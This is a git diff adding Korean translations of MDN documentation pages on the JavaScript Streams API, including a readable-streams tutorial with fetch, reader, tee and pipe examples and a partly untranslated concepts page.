+ <dd>{{domxref("ReadableStream")}}의 상태와 내부 큐를 컨트롤 하는 컨트롤러 객체를 표현합니다. Byte stream 컨트롤러는 byte stream을 위한 컨트롤러입니다.</dd>
+ <dt>{{domxref("ReadableStreamBYOBRequest")}}</dt>
+ <dd>{{domxref("ReadableByteStreamController")}}의 request를 표현합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>Streams API 문서와 참조할 만한 예제를 함께 작성하였습니다 — <a href="https://github.com/mdn/dom-examples/tree/master/streams">mdn/dom-examples/streams</a> 를 참조하세요. 예제는 아래와 같습니다.:</p>
+
+<ul>
+ <li><a href="http://mdn.github.io/dom-examples/streams/simple-pump/">Simple stream pump</a>: ReadableStream에서 어떻게 데이터를 읽어들여 다른 곳으로 전달하는지 보여줍니다.</li>
+ <li><a href="http://mdn.github.io/dom-examples/streams/grayscale-png/">Grayscale a PNG</a>: PNG file의 ReadableStream을 통해 grayscale로 변경하는 방법을 보여줍니다..</li>
+ <li><a href="http://mdn.github.io/dom-examples/streams/simple-random-stream/">Simple random stream</a>: 커스텀 스트림을 통해 무작위 문자열을 생성하고, 데이터 청크로 큐잉한 뒤, 다시 읽어들이는 방법에 대해 설명합니다.</li>
+ <li><a href="http://mdn.github.io/dom-examples/streams/simple-tee-example/">Simple tee example</a>: 이 예제는 simple random stream 예제를 확장하여, 스트림을 분할하고 각 스트림이 독립적으로 데이터를 읽는 방법을 보여줍니다.</li>
+ <li><a href="http://mdn.github.io/dom-examples/streams/simple-writer/">Simple writer</a>:  Writable stream에 데이터를 쓰는 방법을 설명하고, 스트림 데이터를 디코드하여 UI로 표현하는 방법을 보옂부니다..</li>
+ <li><a href="http://mdn.github.io/dom-examples/streams/png-transform-stream/">Unpack chunks of a PNG</a>: <a href="https://developer.mozilla.org/en-US/docs/Web/API/ReadableStream/pipeThrough"><code>pipeThrough()</code></a> 을 통해 PNG file을 PNG 청크 스트림으로 변환하는 방식으로 ReadableStream을 다른 데이터 타입 스트림으로 전환하는 방법을 설명합니다.</li>
+</ul>
+
+<p>다른 개발자의 예제:</p>
+
+<ul>
+ <li><a href="https://fetch-progress.anthum.com/">Progress Indicators with Streams, Service Workers, &amp; Fetch</a>.</li>
+</ul>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Streams')}}</td>
+ <td>{{Spec2('Streams')}}</td>
+ <td>최초 정의.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">
+<p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<h3 id="ReadableStream">ReadableStream</h3>
+
+<p>{{Compat("api.ReadableStream")}}</p>
+
+<h3 id="WritableStream">WritableStream</h3>
+
+<p>{{Compat("api.WritableStream")}}</p>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Streams_API/Concepts">Streams API 개</a>념</li>
+ <li><a href="/en-US/docs/Web/API/Streams_API/Using_readable_streams">Readable stream 사용하기</a></li>
+ <li><a href="/en-US/docs/Web/API/Streams_API/Using_writable_streams">Writable stream 사용하기</a></li>
+</ul>
diff --git a/files/ko/web/api/streams_api/using_readable_streams/index.html b/files/ko/web/api/streams_api/using_readable_streams/index.html
new file mode 100644
index 0000000000..719cd6653f
--- /dev/null
+++ b/files/ko/web/api/streams_api/using_readable_streams/index.html
@@ -0,0 +1,317 @@
+---
+title: Using readable streams
+slug: Web/API/Streams_API/Using_readable_streams
+translation_of: Web/API/Streams_API/Using_readable_streams
+---
+<div>{{apiref("Streams")}}</div>
+
+<p class="summary">자바스크립트 개발자로서, 프로그래밍적으로 네트워크로부터 받은 데이터 스트림을 Chunk단위로 읽고 다루는 것은 매우 유용합니다! 그러나 어떻게 스트림 API의 Readable stream을 잘 사용할수 있을까요. 이번 내용은 그것을 설명하고 있습니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: This article assumes that you understand the use cases of readable streams, and are aware of the high-level concepts. If not, we suggest that you first read the <a href="/en-US/docs/Web/API/Streams_API#Concepts_and_usage">Streams concepts and usage overview</a> and dedicated <a href="/en-US/docs/Web/API/Streams_API/Concepts">Streams API concepts</a> article, then come back.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: If you are looking for information on writable streams try <a href="/en-US/docs/Web/API/Streams_API/Using_writable_streams">Using writable streams</a> instead.</p>
+</div>
+
+<h2 id="Browser_support">Browser support</h2>
+
+<p>파이어폭스 65+ 와 크롬 42+ 에서 Fetch Body 객체를 스트림으로서 사용 할수 있고, custom readable 스트림을 만들수 있습니다. 현재 <a href="/en-US/docs/Web/API/Streams_API/Concepts#Pipe_chains">Pipe chains</a>의 경우 오직 크롬에서만 지원하고 있고 그 기능은 변경될 수 있습니다.</p>
+
+<h2 id="Finding_some_examples">Finding some examples</h2>
+
+<p>이번 내용과 관련한 많은 예제를 <a href="https://github.com/mdn/dom-examples/tree/master/streams">dom-examples/streams</a> 에서 살펴볼수 있습니다. 이곳에서 모든 소스를 확인할수 있을 뿐만 아니라 예제 사이트 링크도 확인할수 있습니다.</p>
+
+<h2 id="Consuming_a_fetch_as_a_stream">Consuming a fetch as a stream</h2>
+
+<p><a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a> 는 네트워크를 통해 리소스를 가져오는 <a href="/en-US/docs/Web/API/XMLHttpRequest">XHR</a>의 현대적인 대안책 입니다. Fetch API의 수많은 이점 가운데 가장 훌륭한점은 최근 브라우저들이 Fetch Response를 Readable 스트림으로 이용할수 있게 하는 기능을 추가한것 입니다.</p>
+
+<p>{{domxref("Body")}} 믹스인은 {{domxref("Body.body","body")}} 속성을 포함하고 있습니다. 그리고 이 {{domxref("Body.body","body")}} 속성은 {{domxref("Body.body","body")}}의 내용을 Readable 스트림으로 노출시키는 간단한 getter 입니다. 이 {{domxref("Body")}} 믹스인은 {{domxref("Request")}}와 {{domxref("Response")}} 인터페이스로부터 구현 되며, 따라서 두 경우 모두 사용 할수 있습니다. 다만 Response body의 스트림을 사용하는 것이 조금더 명확합니다.</p>
+
+<p>우리의 <a href="https://github.com/mdn/dom-examples/tree/master/streams/simple-pump">Simple stream pump</a>예시에서 보여주듯(<a href="https://mdn.github.io/dom-examples/streams/simple-pump/">see it live also</a>), Readable 스트림을 노출시키기 위해서는 단지 Response의 body 속성에 접근하기만 하면 됩니다.</p>
+
+<pre class="brush: js">// 오리지널 이미지를 Fetch 함
+fetch('./tortoise.png')
+// body 를 ReadableStream으로 가공함
+.then(response =&gt; response.body)
+</pre>
+
+<p>이것은 우리에게 {{domxref("ReadableStream")}}  객체를 제공해 줍니다.</p>
+
+<h3 id="Attaching_a_reader">Attaching a reader</h3>
+
+<p>이제 우리는 스트림화된 body를 가지고 있으며, 이 스트림을 읽기 위해서는 리더기를 붙여야 합니다. 이 작업은 {{domxref("ReadableStream.getReader()")}} 메서드를 사용하여 처리합니다.</p>
+
+<pre class="brush: js">// 오리지널 이미지를 Fetch 함
+fetch('./tortoise.png')
+// body 를 ReadableStream으로 가공함
+.then(response =&gt; response.body)
+.then(body =&gt; {
+ const reader = body.getReader();</pre>
+
+<p>이 메서드를 실행하면 리더기가 생성되고 이 리더기를 스트림에 고정(locks) 시킵니다. {{domxref("ReadableStreamDefaultReader.releaseLock()")}} 메서드를 사용하는등 이 고정(locks)을 풀기전 까지는(released), 그 어떤 다른 리더기들도 이 스트림을 읽을수 없습니다. </p>
+
+<p>또한 <code>response.body</code> 는 동기이므로 굳이 프로미스를 사용할 필요가 없으며, 위의 예시를 한번의 스텝으로 줄일수 있다는 점에 주목해 주십시요</p>
+
+<pre class="brush: js">// 오리지널 이미지를 Fetch 함
+ fetch('./tortoise.png')
+ // body 를 ReadableStream으로 가공함
+ .then(response =&gt; {
+ const reader = response.body.getReader();</pre>
+
+<h3 id="Reading_the_stream">Reading the stream</h3>
+
+<p>이제 우리는 우리의 리더기를 추가하였습니다. 우리는 리더기의 {{domxref("ReadableStreamDefaultReader.read()")}} 메서드를 사용하여 스트림으로 부터 data chunk들을 읽을수 있게 되었습니다.</p>
+
+<p>정확하게는 이 메서드는 각 스트림으로부터 하나의  data chunk를 읽습니다. 그리고 이러한 data chunk는 우리가 원하는대로 사용할 수 있습니다.</p>
+
+<p>예를 들어 우리의 Simple stream pump example에서는 {{domxref("ReadableStreamDefaultReader.read()")}} 사용하여 Data Chunk를 새로운 커스텀 <code>ReadableStream</code>에 집어 넣고 있습니다. 그리고 만약 읽을수 있는 다음 Data Chunk가 있다면, {{domxref("ReadableStreamDefaultReader.read()")}} 를 다시 사용하여 다음 Data Chunk를 커스텀 <code>ReadableStream</code>에 집어 넣습니다. 더이상 읽을수 있는 Data Chunk가 없다면, 그 커스텀 <code>ReadableStream</code>(우리는 이 새로운 Readable 스트림에 대해 다음 섹션에서 다 자세히 살펴 볼것 입니다.)을 통해 새로운 {{domxref("Response")}} 객체를 생성합니다. 그 다음 이 {{domxref("Response")}} 객체를 {{domxref("Blob")}} 형태로 변환하고  이 {{domxref("Blob")}} 으로 부터 {{domxref("URL.createObjectURL()")}} 메서드를 사용하여 URL 객체를 생성합니다. 마지막으로 이 URL객체를 {htmlelement("img")}} 에 적용하여 이미지를 보여줌으로서 fetch된 오리지널 이미지를 효과적으로 복사하는 것입니다.</p>
+
+<pre class="brush: js"> return new ReadableStream({
+ start(controller) {
+ return pump();
+ function pump() {
+ // 스트림의 다음 Chunk에 대한 액세스를 제공하는 psomise를 리턴한다.
+ return reader.read().then(({ done, value }) =&gt; {
+ // 더이상 읽을 데이터 조각이 없을때 스트림을 닫는다
+ if (done) {
+ controller.close();
+ return;
+ }
+ // 데이터 조각을 새로운 스트림(새로 만드는 커스텀 스트림)에 넣는다.
+ controller.enqueue(value);
+ return pump();
+ });
+ }
+ }
+ })
+})
+.then(stream =&gt; new Response(stream))
+.then(response =&gt; response.blob())
+.then(blob =&gt; URL.createObjectURL(blob))
+.then(url =&gt; console.log(image.src = url))
+.catch(err =&gt; console.error(err));</pre>
+
+<p>어떻게 <code>read()</code> 가 사용되었는지 자세히 들여다 봅시다. 위 예제의 <code>pump()</code> 함수는 제일먼저 <code>read()</code> 를 실행하였습니다. 그리고 이 <code>read()</code> 는 스트림으로부터 읽어 들인 내용의 결과를 <code>{ done, value }</code> 의 형식으로 가지고 있는 pomise를 반환합니다. </p>
+
+<pre class="brush: js">return reader.read().then(({ done, value }) =&gt; {</pre>
+
+<p>스트림으로부터 읽어 들인 내용은 아래 3가지 타입이 있습니다. </p>
+
+<ul>
+ <li>chunk를 아직 읽을수 있는 경우에 프로미스는 <code>{ value: theChunk, done: false }</code> 객체와 함께 fulfill 됩니다. </li>
+ <li>스트림이 닫힌 경우에 프로미스는 <code>value: undefined, done: true }</code> 객체와 함께 fulfill 됩니다.</li>
+ <li>스트림에서 애러가 발생한 경우 promise는 관련 애러와 함께 reject 됩니다. </li>
+</ul>
+
+<p>다음으로 우리는 <code>done</code> 이 <code>true</code> 인지 아닌지 확인해 봐야 합니다.</p>
+
+<p>만약 <code>done</code> 이 <code>true</code> 라면 더이상 읽어들일 chunk가 없다는 뜻입니다. 따라서 우리는 함수 밖으로 빠져 나가야 하고 {{domxref("ReadableStreamDefaultController.close()")}} 를 통하여 커스텀 스트림을 닫아야 합니다. </p>
+
+<pre class="brush: js">if (done) {
+ controller.close();
+ return;
+}</pre>
+
+<div class="note">
+<p><strong>Note</strong>: 여기서 사용한 <code>close()</code> 는 새로만든 커스텀 스트림의 일부이며 오리지널 스트림의 것이 아닙니다. 커스텀 스트림에 대해서는 다음섹션에서 더 자세히 살펴 볼 예정입니다. </p>
+</div>
+
+<p>만약 <code>done</code> 이 <code>true</code> 가 아니라면, 우선 읽어 드린 Chunk를 처리하고 (<code>value</code> 속성), <code>pump()</code> 함수를 재귀적으로 다시 호출 함으로서 다음 chunk를 읽어 드립니다. </p>
+
+<pre class="brush: js">// 다음 data chunk를 새로운 readable 스트림에 집어 넣음
+controller.enqueue(value);
+return pump();</pre>
+
+<p>다음은 스트림 리더기를 사용할때의 기본적인 패턴 입니다.</p>
+
+<ol>
+ <li>스트림을 읽음으로서 실행되는 함수를 작성합니다.</li>
+ <li>만약 읽을수 있는 스트림이 더이상 없다면, 함수를 리턴 시킵니다.</li>
+ <li>만약 읽을수 있는 스트림이 아직 남아 있다면, 우선 읽어 드린 chunk를 처리하고, 다음 chunk를 읽어 드리기 위해 함수를 다시 실행합니다. </li>
+ <li>더이상 읽을수 있는 스트림이 없을때까지 함수를 재귀적으로 실행하고, 최종적으로 읽을수 있는 스트림이 없을경우 2번 Step을 따릅니다. </li>
+</ol>
+
+<h2 id="Creating_your_own_custom_readable_stream">Creating your own custom readable stream</h2>
+
+<p>두번째 파트에서 사용했던 Simple stream pump example 예제에서 우리는 fetch body로 부터 읽어드린 이미지에 대한 data를 우리가 자체적으로 만든 커스텀 readable 스트림에 다시 옮겨 심었습니다. 그럼 어떻게 스트림을자체적으로 만들수 있을까요? 우리는 <code>ReadableStream()</code>생성자 함수를 통해 커스텀 readable 스트림을 만들 수 있습니다. </p>
+
+<h3 id="The_ReadableStream_constructor">The ReadableStream() constructor</h3>
+
+<p>Fetch와 같이 브라우저에서 스트림을 제공할때 그것을 읽어 들이는 일은 쉬운 일입니다. 그러나 때때로 새로운 커스텀 스트림을 만들고 이것을 data chunk들로 채워넣어야 하는 경우가 있습니다. {{domxref("ReadableStream.ReadableStream","ReadableStream()")}}을 아래의 구문과 같이 사용함으로서 이것을 가능하게 할수 있습니다. 구문이 처음에는 다소 복잡해 보일수 있습니다만, 실제로는 그렇게 복잡하지 않습니다. </p>
+
+<p>기본적인 핵심 구문은 다음과 같습니다.</p>
+
+<pre class="brush: js">const stream = new ReadableStream({
+ start(controller) {
+
+ },
+ pull(controller) {
+
+ },
+ cancel() {
+
+ },
+ type,
+ autoAllocateChunkSize
+}, {
+ highWaterMark,
+ size()
+});</pre>
+
+<p>생성자 함수는 두개의 객체를 인자로 받습니다. 첫번째 인자는 필수 값이며, 이것은 우리가 읽어 들일 기본 소스의 모델을 JavasScrip 적으로 생성 합니다.  두번째 인자는 옵션 값이며, 이것은 커스텀 스트림에 사용할 커스텀 queuing 전략을 수립하게 합니다. 두번째 인자의 경우 매우 드물게 설정하는 값이므로 지금은 첫번째 인자에 집중하도록 하겠습니다.</p>
+
+<p>첫번째 인자인 객체는 5개의 맴버를 가질수 있으며, 제일 첫번째 맴버만 필수 입니다.</p>
+
+<ol>
+ <li><code>start(controller)</code> — <code>ReadableStream</code> 이 생성되자 마자 딱 한번만 호출 되는 메서드 입니다. 이 메서드에는 스트림을 기능을 설정할 수 있는 코드가 포함되어야 합니다. 예를 들면 데이터 생성을 시작한다거나 아니면 소스에 접근하여 데이터를 가져오는 코드등이 들어가게 될것입니다.</li>
+ <li><code>pull(controller)</code> — 이 메서드는 스트림 내부의 queue가 가득 찰때까지 반복적으로 호출 됩니다. 더 많은 청크가 큐에 들어갈 때 스트림을 제어하는 ​​데 사용할 수 있습니다.</li>
+ <li><code>cancel()</code> — 이 메서드는 스트림이 캔슬될때 호출 됩니다 (예를 들어 {domxref("ReadableStream.cancel()")}} 이 호출 되었을때). 메서드의 내용은 스트림 소스에 대한 액세스를 해제하는 데 필요한 모든 것을 수행해야합니다.</li>
+ <li><code>type</code> and <code>autoAllocateChunkSize</code> —  스트림이 바이트 스트림임을 나타 내기 위해 사용됩니다. 바이트 스트림은 목적과 사용 사례가 일반 (기본) 스트림과 약간 다르므로 향후 자습서에서 별도로 다룰 것입니다. 또한 아직 어느 곳에서도 구현되지 않았습니다.</li>
+</ol>
+
+<p>simple example code 를 다시한번 살펴보면, <code>ReadableStream()</code> 생성자가 <code>start()</code> 메서드 단 하나만 가지고 있다는 것을 알아챌수 있을 것 입니다. 이 <code>start()</code> 메서드 fetch된 스트림으로 부터 데이터를 읽어 들이고 있습니다.</p>
+
+<pre class="brush: js"> return new ReadableStream({
+ start(controller) {
+ return pump();
+ function pump() {
+ return reader.read().then(({ done, value }) =&gt; {
+ // 더이상 읽을수 있는 data가 없다면 스트림을 닫는다
+ if (done) {
+ controller.close();
+ return;
+ }
+ // 데이터 조각을 새로운 스트림(새로 만드는 커스텀 스트림)에 넣는다.
+ controller.enqueue(value);
+ return pump();
+ });
+ }
+ }
+ })
+})
+</pre>
+
+<h3 id="ReadableStream_controllers">ReadableStream controllers</h3>
+
+<p>ReadableStrem() 생성자에 인자로 전달된 객체안의 <code>start()</code> 와 <code>pull()</code> 메서드에 controller라는 인자가 전달되는 것을 볼수 있습니다. 이것은 {{domxref("ReadableStreamDefaultController")}} 클래스의 인스턴스이며 우리의 스트림을 제어하는데 사용 됩니다.</p>
+
+<p>우리의 예제에서, 우리는 fetch된 body로부터 chunk의 값을 읽은 뒤 그 값을 커스텀 스트림에 집어 넣기 위해 Controller의 {{domxref("ReadableStreamDefaultController.enqueue","enqueue()")}} 메서드를 상용하고 있습니다.</p>
+
+<p>또한, fetch된 body를 읽어 들이는 것이 끝나면 컨트롤러의 {{domxref("ReadableStreamDefaultController.close","close()")}}를 사용하여 커스텀 스트림을 닫습니다. 이때 이미 삽입된 chunk들은 여전히 읽을수 있지만 새로운 chunk는 집어 넣을수 없습니다. 그리고 읽는 것이 모두 긑나면 스트림은 닫힙니다. </p>
+
+<h3 id="Reading_from_custom_streams">Reading from custom streams</h3>
+
+<p>우리의 Simple stream pump example 에서, 우리는 {domxref("Response.Response", "Response")}} 생성자 함수에 우리가 만든 커스텀 readable 스트림을 인자로 전달하였으며 그렇게 생성된 response 인스턴스를 <code>blob()</code> 으로 사용 하였습니다.</p>
+
+<pre class="brush: js">.then(stream =&gt; new Response(stream))
+.then(response =&gt; response.blob())
+.then(blob =&gt; URL.createObjectURL(blob))
+.then(url =&gt; console.log(image.src = url))
+.catch(err =&gt; console.error(err));</pre>
+
+<p>그러나 커스텀 스트림은 여전히 <code>ReadableStream</code> 인스턴스입니다. 즉, 우리는 여전히 리더기를 커스텀 스트림에 붙일수 있다는 뜻입니다. 예를 들어 <a href="https://github.com/mdn/dom-examples/blob/master/streams/simple-random-stream/index.html">Simple random stream demo</a> (<a href="https://mdn.github.io/dom-examples/streams/simple-random-stream/">see it live also</a>) 를 살펴 보십시요. 이 예제에서는 커스텀 스트림을 생성한후, 랜덤 문자열을 생성된 커스텀 스트림에 집어 넣습니다. 그 후 문자열 생성 중지 버튼을 눌렀을때 커스텀 스트림에 집어 넣었던 랜덤 문자열을 커스텀 스트림으로 부터 다시 읽어 옵니다.</p>
+
+<p><strong>Note:</strong> {{domxref("FetchEvent.respondWith()")}} 메서드를 사용하여 스트림을 다루기 위해서는 스트림에 삽입된 내용이 만드시 {{jsxref("Uint8Array")}} 이어야 합니다. ({{domxref("TextEncoder")}} 등을 사용)</p>
+
+<p> <a href="https://github.com/mdn/dom-examples/blob/master/streams/simple-random-stream/index.html">Simple random stream demo</a> (<a href="https://mdn.github.io/dom-examples/streams/simple-random-stream/">see it live also</a>) 에서 커스텀 스트림 생성자 함수는 <code>start()</code> 메서드를 가지고 있으며, 이 메서드는 {{domxref("WindowTimers.setInterval()")}} 을 사용하여 매초마다 새로운 랜덤 문자열을 생성하고 이 문자열을 {{domxref("ReadableStreamDefaultController.enqueue()")}} 를 사용하여 스트림안에 넣습니다. 만약 문자열 생성 중지 버튼을 누른다면 이 interval 이 취소됨과 동시에 <code>readStream()</code> 함수를 호출하여 스트림으로 부터 스트림에 넣은 문자열 전부를 읽어 드립니다. 이때 스트림에 chunk data(여기서는 랜덤 문자열)를 넣는 것도 중단 했기때문에 스트림을 닫습니다. </p>
+
+<pre class="brush: js">const stream = new ReadableStream({
+ start(controller) {
+ interval = setInterval(() =&gt; {
+ let string = randomChars();
+ // Add the string to the stream
+ controller.enqueue(string);
+ // show it on the screen
+ let listItem = document.createElement('li');
+ listItem.textContent = string;
+ list1.appendChild(listItem);
+ }, 1000);
+ button.addEventListener('click', function() {
+ clearInterval(interval);
+ readStream();
+ controller.close();
+ })
+ },
+ pull(controller) {
+ // We don't really need a pull in this example
+ },
+ cancel() {
+ // This is called if the reader cancels,
+ // so we should stop generating strings
+ clearInterval(interval);
+ }
+});</pre>
+
+<p>스트림에 넣은 문자열 전부를 읽고 다루기 위해 만든 커스텀 함수인 <code>readStream()</code> 함수를 살펴보면, 우선 {{domxref("ReadableStream.getReader()")}}를 사용하여 리더기를 스트림에 고정시키는 것을 볼수 있습니다. 그 후 앞서 살펴봤던 패턴과 마찬가지로  <code>read()</code> 를 사용하여 chunk를 읽어 들이고  <code>done</code> 이 <code>true</code> 인지 아닌지 확인 합니다. 만약 <code>true</code> 이면  <code>readStream()</code> 함수의 프로세스를 끝내버리고 그렇지 않으면 읽어드린 chunk를 후속처리한 후  <code>read()</code> 를 재귀적으로 실행합니다.</p>
+
+<pre class="brush: js">function readStream() {
+ const reader = stream.getReader();
+ let charsReceived = 0;
+
+ // read() returns a promise that resolves
+ // when a value has been received
+ reader.read().then(function processText({ done, value }) {
+ // Result objects contain two properties:
+ // done - true if the stream has already given you all its data.
+ // value - some data. Always undefined when done is true.
+ if (done) {
+ console.log("Stream complete");
+ para.textContent = result;
+ return;
+ }
+
+ charsReceived += value.length;
+ const chunk = value;
+ let listItem = document.createElement('li');
+ listItem.textContent = 'Read ' + charsReceived + ' characters so far. Current chunk = ' + chunk;
+ list2.appendChild(listItem);
+
+ result += chunk;
+
+ // Read some more, and call this function again
+ return reader.read().then(processText);
+ });
+}</pre>
+
+<h3 id="Closing_and_cancelling_streams">Closing and cancelling streams</h3>
+
+<p>우리는 이미 앞서 스트림을 닫는 메서드인 {{domxref("ReadableStreamDefaultController.close()")}} 를 살펴보았습니다. 이미 언급했다 시피, 스트림이 닫혔다 하더라고 이미 들어가 있는 chunk는 읽을 수 있습니다.</p>
+
+<p>만약 스트림을 완벽하게 제거하고 삽입된 모든 chunk를 날리고 싶다면, {{domxref("ReadableStream.cancel()")}} 또는 {{domxref("ReadableStreamDefaultReader.cancel()")}} 메서드를 사용 하면 됩니다.</p>
+
+<h2 id="Teeing_a_stream">Teeing a stream</h2>
+
+<p>때로는 하나의 스트림을 동시 두번 읽어들여야 할 경우가 있습니다. {{domxref("ReadableStream.tee()")}} 메서드가 이를 가능하게 합니다. {{domxref("ReadableStream.tee()")}} 메서드는 두개의 독립적인 카피된 스트림을 가지고 있는 배열을 제공합니다. 이 카피된 두개의 스트림은 두개의 독립적인 리더기로 각각 읽어 들일 수 있습니다.</p>
+
+<p>이런 경우는 아마  <a href="/en-US/docs/Web/API/Service_Worker_API">ServiceWorker</a> 안에서 필요할 것입니다. 만약 서버로부터 fetch된 response를 브라우저에도 전달하고 서비스 워커 캐시에도 전달해야 하다면 하나의 스트림에 대해 두개의 카피본이 필요 할 것입니다. 왜냐하면 response body (Readablestream)는 단 한번만 사용될 수 있고 하나의 Readablestream은 하나의 리더기만 붙을수 있기 때문입니다. </p>
+
+<p>위 내용에 대한 예제를 <a href="https://github.com/mdn/dom-examples/blob/master/streams/simple-tee-example/index.html">Simple tee example</a> (<a href="https://mdn.github.io/dom-examples/streams/simple-tee-example/">see it live also</a>)에서 살펴 볼수 있습니다. 이 예제는 랜덤 문자열 생성 버튼에 대한 이벤트가 없다는 점과, 이 예제에서의 스트림은 teed되어 두개의 스트림이 두개의 리더기로 읽어진다는 점만 제외하면 앞서 살펴본 Simple random stream 예제와 매우 유사하게 동작합니다.</p>
+
+<pre class="brush: js">function teeStream() {
+ const teedOff = stream.tee();
+ readStream(teedOff[0], list2);
+ readStream(teedOff[1], list3);
+ }</pre>
+
+<h2 id="Pipe_chains">Pipe chains</h2>
+
+<p>One very experimental feature of streams is the ability to pipe streams into one another (called a <a href="/en-US/docs/Web/API/Streams_API/Concepts#Pipe_chains">pipe chain</a>). This involves two methods — {{domxref("ReadableStream.pipeThrough()")}}, which pipes a readable stream through a writer/reader pair to transform one data format into another, and {{domxref("ReadableStream.pipeTo()")}}, which pipes a readable stream to a writer acting as an end point for the pipe chain.</p>
+
+<p>This functionality is at a very experimental stage and is subject to change, so we have no explored it too deeply as of yet.</p>
+
+<p>We have created an example called <a href="https://github.com/mdn/dom-examples/tree/master/streams/png-transform-stream">Unpack Chunks of a PNG</a> (<a href="https://mdn.github.io/dom-examples/streams/png-transform-stream/">see it live also</a>) that fetches an image as a stream, then pipes it through to a custom PNG transform stream <span class="pl-c">that retrieves PNG chunks out of a binary data stream.</span></p>
+
+<pre class="brush: js">// Fetch the original image
+fetch('png-logo.png')
+// Retrieve its body as ReadableStream
+.then(response =&gt; response.body)
+// Create a gray-scaled PNG stream out of the original
+.then(rs =&gt; logReadableStream('Fetch Response Stream', rs))
+.then(body =&gt; body.pipeThrough(new PNGTransformStream()))
+.then(rs =&gt; logReadableStream('PNG Chunk Stream', rs))</pre>
+
+<h2 id="Summary">Summary</h2>
+
+<p>That explains the basics of “default” readable streams. We’ll explain bytestreams in a separate future article, once they are available in browsers.</p>
diff --git a/files/ko/web/api/streams_api/컨셉/index.html b/files/ko/web/api/streams_api/컨셉/index.html
new file mode 100644
index 0000000000..9c993b81a3
--- /dev/null
+++ b/files/ko/web/api/streams_api/컨셉/index.html
@@ -0,0 +1,115 @@
+---
+title: Streams API 컨셉
+slug: Web/API/Streams_API/컨셉
+translation_of: Web/API/Streams_API/Concepts
+---
+<div>{{apiref("Streams")}}</div>
+
+<p class="summary">The <a href="/en-US/docs/Web/API/Streams_API">Streams API</a> adds a very useful set of tools to the web platform, providing objects allowing JavaScript to programmatically access streams of data received over the network and process them as desired by the developer. Some of the concepts and terminology associated with streams might be new to you — this article explains all you need to know.</p>
+
+<h2 id="Readable_streams">Readable streams</h2>
+
+<p>A readable stream is a data source represented in JavaScript by a {{domxref("ReadableStream")}} object that flows from an <strong>underlying source</strong> — this is a resource somewhere on the network or elsewhere on your domain that you want to get data from.</p>
+
+<p>There are two types of underlying source:</p>
+
+<ul>
+ <li><strong>Push sources</strong> constantly push data at you when you’ve accessed them, and it is up to you to start, pause, or cancel access to the stream. Examples include video streams and TCP/<a href="/en-US/docs/Web/API/WebSockets_API">Web sockets</a>.</li>
+ <li><strong>Pull sources</strong> require you to explicitly request data from them once connected to. Examples include a file access operation via a <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> or <a href="/en-US/docs/Web/API/XMLHttpRequest/XMLHttpRequest">XHR</a> call.</li>
+</ul>
+
+<p>컨The data is read sequentially in small pieces called <strong>chunks</strong>. A chunk can be a single byte, or it can be something larger such as a <a href="/en-US/docs/Web/JavaScript/Typed_arrays">typed array</a> of a certain size. A single stream can contain chunks of different sizes and types.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15819/Readable%20streams.png" style="height: 452px; width: 1000px;"></p>
+
+<p>The chunks placed in a stream are said to be <strong>enqueued</strong> — this means they are waiting in a queue ready to be read. An <strong>internal queue</strong> keeps track of the chunks that have not yet been read (see the Internal queues and queueing strategies section below).</p>
+
+<p>The chunks inside the stream are read by a <strong>reader</strong> — this processes the data one chunk at a time, allowing you to do whatever kind of operation you want to do on it. The reader plus the other processing code that goes along with it is called a <strong>consumer</strong>.</p>
+
+<p>There is also a construct you’ll use called a <strong>controller</strong> — each reader has an associated controller that allows you to control the stream (for example, to cancel it if wished).</p>
+
+<p>Only one reader can read a stream at a time; when a reader is created and starts reading a stream (an <strong>active reader</strong>), we say it is <strong>locked</strong> to it. If you want another reader to start reading your stream, you typically need to cancel the first reader before you do anything else (although you can <strong>tee</strong> streams, see the Teeing section below)</p>
+
+<p>Note that there are two different types of readable stream. As well as the conventional readable stream there is a type called a byte stream — this is an extended version of a conventional stream for reading underlying byte sources (otherwise known as BYOB, or “bring your own buffer”) sources. These allow streams to be read straight into a buffer supplied by the developer, minimizing the copying required. Which underlying stream (and by extension, reader and controller) your code will use depends on how the stream was created in the first place (see the {{domxref("ReadableStream.ReadableStream()")}} constructor page).</p>
+
+<div class="warning">
+<p><strong>Important</strong>: Byte streams are not implemented anywhere as yet, and questions have been raised as to whether the spec details are in a finished enough state for them to be implemented. This may change over time.</p>
+</div>
+
+<p>You can make use of ready-made readable streams via mechanisms like a {{domxref("Response.body")}} from a fetch request, or roll your own streams using the {{domxref("ReadableStream.ReadableStream()")}} constructor.</p>
+
+<h2 id="Teeing">Teeing</h2>
+
+<p>Even though only a single reader can read a stream at once, it is possible to split a stream into two identical copies, which can then be read by two separate readers. This is called <strong>teeing</strong>.</p>
+
+<p>In JavaScript, this is achieved via the {{domxref("ReadableStream.tee()")}} method — it outputs an array containing two identical copies of the original readable stream, which can then be read independently by two separate readers.</p>
+
+<p>You might do this for example in a <a href="/en-US/docs/Web/API/Service_Worker_API">ServiceWorker</a> if you want to fetch a response from the server and stream it to the browser, but also stream it to the ServiceWorker cache. Since a response body cannot be consumed more than once, and a stream can't be read by more than one reader at once, you’d need two copies to do this.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15820/tee.png" style="height: 527px; width: 1000px;"></p>
+
+<h2 id="Writable_streams">Writable streams</h2>
+
+<p>A <strong>writable stream</strong> is a destination into which you can write data, represented in JavaScript by a {{domxref("WritableStream")}} object. This serves as an abstraction over the top of an <strong>underlying sink</strong> — a lower-level I/O sink into which raw data is written.</p>
+
